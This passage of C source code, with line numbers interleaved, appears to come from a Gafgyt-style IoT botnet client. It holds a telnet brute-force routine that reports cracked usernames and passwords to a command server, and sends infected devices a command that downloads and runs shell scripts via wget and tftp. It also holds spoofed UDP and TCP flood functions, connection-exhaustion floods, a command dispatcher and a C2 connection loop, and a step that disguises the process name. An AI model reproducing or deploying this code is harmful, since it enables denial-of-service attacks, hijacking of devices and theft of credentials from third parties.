case 8:
982
{
983
if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
984
fds[i].state = 9;
985
}
986
break;
987
988
case 9:
989
{
990
if(send(fds[i].fd, "cd /tmp || cd /var/run;wget http://ip/wbin.sh;sh wbin.sh;rm -rf wbin.sh;tftp -r tbin1.sh -g ip;sh tbin1.sh; tftp ip -c get tbin2.sh; sh tbin2.sh; rm -rf tbin1.sh tbin2.sh wbin.sh\r\n", 207, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
991
fds[i].state = 10;
992
}
993
break;
994
995
case 10:
996
{
997
if(send(fds[i].fd, "cd /tmp || cd /var/run;wget http://ip/wbin.sh;sh wbin.sh;rm -rf wbin.sh;tftp -r tbin1.sh -g ip;sh tbin1.sh; tftp ip -c get tbin2.sh; sh tbin2.sh; rm -rf tbin1.sh tbin2.sh wbin.sh\r\n", 207, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
998
fds[i].state = 11;
999
}
1000
break;
1001
1002
case 11:
1003
{
1004
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
1005
1006
if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
1007
{
1008
fds[i].totalTimeout = 0;
1009
fds[i].bufUsed = 0;
1010
sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
1011
continue;
1012
1013
}
1014
else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
1015
{
1016
fds[i].totalTimeout = 0;
1017
fds[i].bufUsed = 0;
1018
sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
1019
memset(fds[i].sockbuf, 0, 1024);
1020
sclose(fds[i].fd);
1021
fds[i].complete = 1;
1022
fds[i].state = 0;
1023
continue;
1024
}
1025
else {
1026
fds[i].bufUsed = strlen(fds[i].sockbuf);
1027
}
1028
1029
if(fds[i].totalTimeout + 30 < time(NULL))
1030
{
1031
sclose(fds[i].fd);
1032
fds[i].state = 0;
1033
fds[i].complete = 1;
1034
}
1035
}
1036
break;
1037
}
1038
}
1039
}
1040
}
1041
1042
// ___ ___ ___ _ _
1043
// /\ /\ / \/ _ \ / __\ | ___ ___ __| |
1044
// / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
1045
// \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
1046
// \___/___,'\/ \/ |_|\___/ \___/ \__,_|
1047
1048
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
1049
{
1050
struct sockaddr_in dest_addr;
1051
1052
dest_addr.sin_family = AF_INET;
1053
if(port == 0) dest_addr.sin_port = rand_cmwc();
1054
else dest_addr.sin_port = htons(port);
1055
if(getHost(target, &dest_addr.sin_addr)) return;
1056
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1057
1058
register unsigned int pollRegister;
1059
pollRegister = pollinterval;
1060
1061
if(spoofit == 32)
1062
{
1063
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1064
if(!sockfd)
1065
{
1066
sockprintf(mainCommSock, "Failed opening raw socket.");
1067
return;
1068
}
1069
1070
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
1071
if(buf == NULL) return;
1072
memset(buf, 0, packetsize + 1);
1073
makeRandomStr(buf, packetsize);
1074
1075
int end = time(NULL) + timeEnd;
1076
register unsigned int i = 0;
1077
while(1)
1078
{
1079
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1080
1081
if(i == pollRegister)
1082
{
1083
if(port == 0) dest_addr.sin_port = rand_cmwc();
1084
if(time(NULL) > end) break;
1085
i = 0;
1086
continue;
1087
}
1088
i++;
1089
}
1090
} else {
1091
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
1092
if(!sockfd)
1093
{
1094
sockprintf(mainCommSock, "Failed opening raw socket.");
1095
//sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
1096
return;
1097
}
1098
1099
int tmp = 1;
1100
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1101
{
1102
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1103
return;
1104
}
1105
1106
int counter = 50;
1107
while(counter--)
1108
{
1109
srand(time(NULL) ^ rand_cmwc());
1110
init_rand(rand());
1111
}
1112
1113
in_addr_t netmask;
1114
1115
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1116
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1117
1118
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
1119
struct iphdr *iph = (struct iphdr *)packet;
1120
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
1121
1122
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
1123
1124
udph->len = htons(sizeof(struct udphdr) + packetsize);
1125
udph->source = rand_cmwc();
1126
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1127
udph->check = 0;
1128
1129
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
1130
1131
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1132
1133
int end = time(NULL) + timeEnd;
1134
register unsigned int i = 0;
1135
while(1)
1136
{
1137
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1138
1139
udph->source = rand_cmwc();
1140
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1141
iph->id = rand_cmwc();
1142
iph->saddr = htonl( getRandomIP(netmask) );
1143
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1144
1145
if(i == pollRegister)
1146
{
1147
if(time(NULL) > end) break;
1148
i = 0;
1149
continue;
1150
}
1151
i++;
1152
}
1153
}
1154
}
1155
1156
// _____ ___ ___ ___ _ _
1157
// /__ \/ __\ / _ \ / __\ | ___ ___ __| |
1158
// / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
1159
// / / / /___/ ___/ / / | | (_) | (_) | (_| |
1160
// \/ \____/\/ \/ |_|\___/ \___/ \__,_|
1161
1162
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
1163
{
1164
register unsigned int pollRegister;
1165
pollRegister = pollinterval;
1166
1167
struct sockaddr_in dest_addr;
1168
1169
dest_addr.sin_family = AF_INET;
1170
if(port == 0) dest_addr.sin_port = rand_cmwc();
1171
else dest_addr.sin_port = htons(port);
1172
if(getHost(target, &dest_addr.sin_addr)) return;
1173
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1174
1175
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
1176
if(!sockfd)
1177
{
1178
sockprintf(mainCommSock, "Failed opening raw socket.");
1179
return;
1180
}
1181
1182
int tmp = 1;
1183
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1184
{
1185
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1186
return;
1187
}
1188
1189
in_addr_t netmask;
1190
1191
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1192
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1193
1194
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
1195
struct iphdr *iph = (struct iphdr *)packet;
1196
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
1197
1198
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
1199
1200
tcph->source = rand_cmwc();
1201
tcph->seq = rand_cmwc();
1202
tcph->ack_seq = 0;
1203
tcph->doff = 5;
1204
1205
if(!strcmp(flags, "all"))
1206
{
1207
tcph->syn = 1;
1208
tcph->rst = 1;
1209
tcph->fin = 1;
1210
tcph->ack = 1;
1211
tcph->psh = 1;
1212
} else {
1213
unsigned char *pch = strtok(flags, ",");
1214
while(pch)
1215
{
1216
if(!strcmp(pch, "syn"))
1217
{
1218
tcph->syn = 1;
1219
} else if(!strcmp(pch, "rst"))
1220
{
1221
tcph->rst = 1;
1222
} else if(!strcmp(pch, "fin"))
1223
{
1224
tcph->fin = 1;
1225
} else if(!strcmp(pch, "ack"))
1226
{
1227
tcph->ack = 1;
1228
} else if(!strcmp(pch, "psh"))
1229
{
1230
tcph->psh = 1;
1231
} else {
1232
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
1233
}
1234
pch = strtok(NULL, ",");
1235
}
1236
}
1237
1238
tcph->window = rand_cmwc();
1239
tcph->check = 0;
1240
tcph->urg_ptr = 0;
1241
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
1242
tcph->check = tcpcsum(iph, tcph);
1243
1244
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1245
1246
int end = time(NULL) + timeEnd;
1247
register unsigned int i = 0;
1248
while(1)
1249
{
1250
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1251
1252
iph->saddr = htonl( getRandomIP(netmask) );
1253
iph->id = rand_cmwc();
1254
tcph->seq = rand_cmwc();
1255
tcph->source = rand_cmwc();
1256
tcph->check = 0;
1257
tcph->check = tcpcsum(iph, tcph);
1258
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1259
1260
if(i == pollRegister)
1261
{
1262
if(time(NULL) > end) break;
1263
i = 0;
1264
continue;
1265
}
1266
i++;
1267
}
1268
}
1269
1270
1271
// __ __ ___ _ _
1272
// \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
1273
// \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
1274
// /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
1275
// \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
1276
1277
void sendJUNK(unsigned char *ip, int port, int end_time)
1278
{
1279
1280
int max = getdtablesize() / 2, i;
1281
1282
struct sockaddr_in dest_addr;
1283
dest_addr.sin_family = AF_INET;
1284
dest_addr.sin_port = htons(port);
1285
if(getHost(ip, &dest_addr.sin_addr)) return;
1286
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1287
1288
struct state_t
1289
{
1290
int fd;
1291
uint8_t state;
1292
} fds[max];
1293
memset(fds, 0, max * (sizeof(int) + 1));
1294
1295
fd_set myset;
1296
struct timeval tv;
1297
socklen_t lon;
1298
int valopt, res;
1299
1300
unsigned char *watwat = malloc(1024);
1301
memset(watwat, 0, 1024);
1302
1303
int end = time(NULL) + end_time;
1304
while(end > time(NULL))
1305
{
1306
for(i = 0; i < max; i++)
1307
{
1308
switch(fds[i].state)
1309
{
1310
case 0:
1311
{
1312
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1313
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1314
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1315
else fds[i].state = 1;
1316
}
1317
break;
1318
1319
case 1:
1320
{
1321
FD_ZERO(&myset);
1322
FD_SET(fds[i].fd, &myset);
1323
tv.tv_sec = 0;
1324
tv.tv_usec = 10000;
1325
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1326
if(res == 1)
1327
{
1328
lon = sizeof(int);
1329
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1330
if(valopt)
1331
{
1332
close(fds[i].fd);
1333
fds[i].state = 0;
1334
} else {
1335
fds[i].state = 2;
1336
}
1337
} else if(res == -1)
1338
{
1339
close(fds[i].fd);
1340
fds[i].state = 0;
1341
}
1342
}
1343
break;
1344
1345
case 2:
1346
{
1347
makeRandomStr(watwat, 1024);
1348
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
1349
{
1350
close(fds[i].fd);
1351
fds[i].state = 0;
1352
}
1353
}
1354
break;
1355
}
1356
}
1357
}
1358
}
1359
1360
// _ _ ___ _ _
1361
// /\ /\___ | | __| | / __\ | ___ ___ __| |
1362
// / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
1363
// / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
1364
// \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
1365
1366
void sendHOLD(unsigned char *ip, int port, int end_time)
1367
{
1368
1369
int max = getdtablesize() / 2, i;
1370
1371
struct sockaddr_in dest_addr;
1372
dest_addr.sin_family = AF_INET;
1373
dest_addr.sin_port = htons(port);
1374
if(getHost(ip, &dest_addr.sin_addr)) return;
1375
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1376
1377
struct state_t
1378
{
1379
int fd;
1380
uint8_t state;
1381
} fds[max];
1382
memset(fds, 0, max * (sizeof(int) + 1));
1383
1384
fd_set myset;
1385
struct timeval tv;
1386
socklen_t lon;
1387
int valopt, res;
1388
1389
unsigned char *watwat = malloc(1024);
1390
memset(watwat, 0, 1024);
1391
1392
int end = time(NULL) + end_time;
1393
while(end > time(NULL))
1394
{
1395
for(i = 0; i < max; i++)
1396
{
1397
switch(fds[i].state)
1398
{
1399
case 0:
1400
{
1401
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1402
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1403
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1404
else fds[i].state = 1;
1405
}
1406
break;
1407
1408
case 1:
1409
{
1410
FD_ZERO(&myset);
1411
FD_SET(fds[i].fd, &myset);
1412
tv.tv_sec = 0;
1413
tv.tv_usec = 10000;
1414
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1415
if(res == 1)
1416
{
1417
lon = sizeof(int);
1418
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1419
if(valopt)
1420
{
1421
close(fds[i].fd);
1422
fds[i].state = 0;
1423
} else {
1424
fds[i].state = 2;
1425
}
1426
} else if(res == -1)
1427
{
1428
close(fds[i].fd);
1429
fds[i].state = 0;
1430
}
1431
}
1432
break;
1433
1434
case 2:
1435
{
1436
FD_ZERO(&myset);
1437
FD_SET(fds[i].fd, &myset);
1438
tv.tv_sec = 0;
1439
tv.tv_usec = 10000;
1440
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
1441
if(res != 0)
1442
{
1443
close(fds[i].fd);
1444
fds[i].state = 0;
1445
}
1446
}
1447
break;
1448
}
1449
}
1450
}
1451
}
1452
1453
/*
1454
// __ _ __ _ _
1455
// / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
1456
// \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
1457
// _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
1458
// \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
1459
1460
void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
1461
{
1462
unsigned char buffer[1024];
1463
memset(buffer, 0, 1024);
1464
1465
int fd = socket(AF_INET, SOCK_STREAM, 0);
1466
if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
1467
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1468
if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
1469
1470
if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
1471
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1472
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1473
memset(buffer, 0, 1024);
1474
1475
if(send(fd, "MAIL FROM: <[email protected]>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
1476
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1477
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1478
memset(buffer, 0, 1024);
1479
1480
if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
1481
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
1482
if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
1483
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1484
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1485
memset(buffer, 0, 1024);
1486
1487
if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
1488
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1489
if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
1490
memset(buffer, 0, 1024);
1491
1492
if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
1493
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
1494
if(send(fd, "\r\nFrom: [email protected]\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
1495
if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
1496
if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
1497
if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
1498
if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
1499
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1500
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1501
memset(buffer, 0, 1024);
1502
1503
send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
1504
1505
close(fd);
1506
return;
1507
} */
1508
1509
// _____ __ ___ _
1510
// \_ \/__\ / __\ /\/\ __ _(_)_ __
1511
// / /\/ \// / / / \ / _` | | '_ \
1512
// /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
1513
// \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
1514
1515
void processCmd(int argc, unsigned char *argv[])
1516
{
1517
int x;
1518
if(!strcmp(argv[0], "PING"))
1519
{
1520
sockprintf(mainCommSock, "PONG!");
1521
return;
1522
}
1523
1524
if(!strcmp(argv[0], "GETLOCALIP"))
1525
{
1526
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
1527
return;
1528
}
1529
1530
if(!strcmp(argv[0], "SCANNER"))
1531
{
1532
if(argc != 2)
1533
{
1534
sockprintf(mainCommSock, "SCANNER ON | OFF");
1535
return;
1536
}
1537
1538
if(!strcmp(argv[1], "OFF"))
1539
{
1540
if(scanPid == 0) return;
1541
1542
kill(scanPid, 9);
1543
scanPid = 0;
1544
}
1545
1546
if(!strcmp(argv[1], "ON"))
1547
{
1548
if(scanPid != 0) return;
1549
uint32_t parent;
1550
parent = fork();
1551
printf("FORK\n");
1552
if (parent > 0) { scanPid = parent; return;}
1553
else if(parent == -1) return;
1554
1555
StartTheLelz(1);
1556
_exit(0);
1557
}
1558
}
1559
/*
1560
1561
if(!strcmp(argv[0], "EMAIL"))
1562
{
1563
if(argc < 5)
1564
{
1565
//sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
1566
return;
1567
}
1568
1569
unsigned char *target = argv[1];
1570
unsigned char *host = argv[2];
1571
unsigned char *subject = argv[3];
1572
unsigned char *message = argv[4];
1573
1574
if (listFork()) { return; }
1575
1576
sendEmail(target, host, subject, message);
1577
close(mainCommSock);
1578
1579
_exit(0);
1580
}
1581
*/
1582
1583
if(!strcmp(argv[0], "HOLD"))
1584
{
1585
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1586
{
1587
//sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
1588
return;
1589
}
1590
1591
unsigned char *ip = argv[1];
1592
int port = atoi(argv[2]);
1593
int time = atoi(argv[3]);
1594
1595
if(strstr(ip, ",") != NULL)
1596
{
1597
unsigned char *hi = strtok(ip, ",");
1598
while(hi != NULL)
1599
{
1600
if(!listFork())
1601
{
1602
sendHOLD(hi, port, time);
1603
_exit(0);
1604
}
1605
hi = strtok(NULL, ",");
1606
}
1607
} else {
1608
if (listFork()) { return; }
1609
1610
sendHOLD(ip, port, time);
1611
_exit(0);
1612
}
1613
}
1614
1615
if(!strcmp(argv[0], "JUNK"))
1616
{
1617
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1618
{
1619
//sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
1620
return;
1621
}
1622
1623
unsigned char *ip = argv[1];
1624
int port = atoi(argv[2]);
1625
int time = atoi(argv[3]);
1626
1627
if(strstr(ip, ",") != NULL)
1628
{
1629
unsigned char *hi = strtok(ip, ",");
1630
while(hi != NULL)
1631
{
1632
if(!listFork())
1633
{
1634
sendJUNK(hi, port, time);
1635
close(mainCommSock);
1636
_exit(0);
1637
}
1638
hi = strtok(NULL, ",");
1639
}
1640
} else {
1641
if (listFork()) { return; }
1642
1643
sendJUNK(ip, port, time);
1644
_exit(0);
1645
}
1646
}
1647
1648
if(!strcmp(argv[0], "UDP"))
1649
{
1650
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
1651
{
1652
//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
1653
return;
1654
}
1655
1656
unsigned char *ip = argv[1];
1657
int port = atoi(argv[2]);
1658
int time = atoi(argv[3]);
1659
int spoofed = atoi(argv[4]);
1660
int packetsize = atoi(argv[5]);
1661
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
1662
1663
if(strstr(ip, ",") != NULL)
1664
{
1665
unsigned char *hi = strtok(ip, ",");
1666
while(hi != NULL)
1667
{
1668
if(!listFork())
1669
{
1670
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
1671
_exit(0);
1672
}
1673
hi = strtok(NULL, ",");
1674
}
1675
} else {
1676
if (listFork()) { return; }
1677
1678
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
1679
_exit(0);
1680
}
1681
}
1682
1683
if(!strcmp(argv[0], "TCP"))
1684
{
1685
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
1686
{
1687
//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
1688
return;
1689
}
1690
1691
unsigned char *ip = argv[1];
1692
int port = atoi(argv[2]);
1693
int time = atoi(argv[3]);
1694
int spoofed = atoi(argv[4]);
1695
unsigned char *flags = argv[5];
1696
1697
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
1698
int psize = argc > 6 ? atoi(argv[6]) : 0;
1699
1700
if(strstr(ip, ",") != NULL)
1701
{
1702
unsigned char *hi = strtok(ip, ",");
1703
while(hi != NULL)
1704
{
1705
if(!listFork())
1706
{
1707
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
1708
_exit(0);
1709
}
1710
hi = strtok(NULL, ",");
1711
}
1712
} else {
1713
if (listFork()) { return; }
1714
1715
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
1716
_exit(0);
1717
}
1718
}
1719
1720
if(!strcmp(argv[0], "KILLATTK"))
1721
{
1722
int killed = 0;
1723
unsigned long i;
1724
for (i = 0; i < numpids; i++) {
1725
if (pids[i] != 0 && pids[i] != getpid()) {
1726
kill(pids[i], 9);
1727
killed++;
1728
}
1729
}
1730
1731
if(killed > 0)
1732
{
1733
sockprintf(mainCommSock, "Killed %d.", killed);
1734
} else {
1735
sockprintf(mainCommSock, "None Killed.");
1736
}
1737
}
1738
1739
if(!strcmp(argv[0], "LOLNOGTFO"))
1740
{
1741
exit(0);
1742
}
1743
}
1744
1745
int initConnection()
1746
{
1747
unsigned char server[4096];
1748
memset(server, 0, 4096);
1749
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
1750
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
1751
else currentServer++;
1752
1753
strcpy(server, commServer[currentServer]);
1754
int port = 6667;
1755
if(strchr(server, ':') != NULL)
1756
{
1757
port = atoi(strchr(server, ':') + 1);
1758
*((unsigned char *)(strchr(server, ':'))) = 0x0;
1759
}
1760
1761
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
1762
1763
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
1764
1765
return 0;
1766
}
1767
1768
int getOurIP()
1769
{
1770
int sock = socket(AF_INET, SOCK_DGRAM, 0);
1771
if(sock == -1) return 0;
1772
1773
struct sockaddr_in serv;
1774
memset(&serv, 0, sizeof(serv));
1775
serv.sin_family = AF_INET;
1776
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
1777
serv.sin_port = htons(53);
1778
1779
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
1780
if(err == -1) return 0;
1781
1782
struct sockaddr_in name;
1783
socklen_t namelen = sizeof(name);
1784
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
1785
if(err == -1) return 0;
1786
1787
ourIP.s_addr = name.sin_addr.s_addr;
1788
1789
int cmdline = open("/proc/net/route", O_RDONLY);
1790
char linebuf[4096];
1791
while(fdgets(linebuf, 4096, cmdline) != NULL)
1792
{
1793
if(strstr(linebuf, "\t00000000\t") != NULL)
1794
{
1795
unsigned char *pos = linebuf;
1796
while(*pos != '\t') pos++;
1797
*pos = 0;
1798
break;
1799
}
1800
memset(linebuf, 0, 4096);
1801
}
1802
close(cmdline);
1803
1804
if(*linebuf)
1805
{
1806
int i;
1807
struct ifreq ifr;
1808
strcpy(ifr.ifr_name, linebuf);
1809
ioctl(sock, SIOCGIFHWADDR, &ifr);
1810
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
1811
}
1812
1813
close(sock);
1814
}
1815
1816
int main(int argc, unsigned char *argv[])
1817
{
1818
char *mynameis = "[cpuset]";
1819
if(SERVER_LIST_SIZE <= 0) return 0; //LOL PERSON WHO CONFIGURED DIS BOT IS RETARDED
1820
argv[0] = "[cpuset]";
1821
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
1822
srand(time(NULL) ^ getpid());
1823
init_rand(time(NULL) ^ getpid());
1824
pid_t pid1;
1825
pid_t pid2;
1826
int status;
1827
1828
getOurIP();
1829
1830
if (pid1 = fork()) {
1831
waitpid(pid1, &status, 0);
1832
exit(0);
1833
} else if (!pid1) {
1834
if (pid2 = fork()) {
1835
exit(0);
1836
} else if (!pid2) {
1837
} else {
1838
zprintf("fork failed\n");
1839
}
1840
} else {
1841
zprintf("fork failed\n");
1842
}
1843
1844
setsid();
1845
chdir("/");
1846
1847
signal(SIGPIPE, SIG_IGN);
1848
1849
while(1)
1850
{
1851
if(initConnection()) { printf("FAILED TO CONNECT\n"); sleep(5); continue; }
1852
1853
char commBuf[4096];
1854
int got = 0;
1855
int i = 0;
1856
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
1857
{
1858
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
1859
unsigned int *newpids, on;
1860
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
1861
pids[on - 1] = 0;
1862
numpids--;
1863
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
1864
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
1865
free(pids);
1866
pids = newpids;
1867
}
1868
1869
commBuf[got] = 0x00;
1870
1871
trim(commBuf);
1872
1873
if(strstr(commBuf, "PING") == commBuf)
1874
{
1875
sockprintf(mainCommSock, "PONG");
1876
continue;
1877
}
1878
1879
if(strstr(commBuf, "DUP") == commBuf) exit(0);
1880
1881
unsigned char *message = commBuf;
1882
1883
if(*message == '!')
1884
{
1885
unsigned char *nickMask = message + 1;
1886
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
1887
if(*nickMask == 0x00) continue;
1888
*(nickMask) = 0x00;
1889
nickMask = message + 1;
1890
1891
message = message + strlen(nickMask) + 2;
1892
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
1893
1894
unsigned char *command = message;
1895
while(*message != ' ' && *message != 0x00) message++;
1896
*message = 0x00;
1897
message++;
1898
1899
